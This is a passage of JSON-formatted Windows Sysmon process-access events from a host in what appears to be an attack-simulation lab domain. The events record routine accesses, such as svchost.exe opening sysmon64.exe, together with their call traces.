C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5790,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5791,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5792,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5793,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5794,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5795,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5796,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5797,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.025\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010F97D0800}\r\nSourceProcessId: 3292\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4174-5F2D-0000-00109CC50800}\r\nTargetProcessId: 1324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 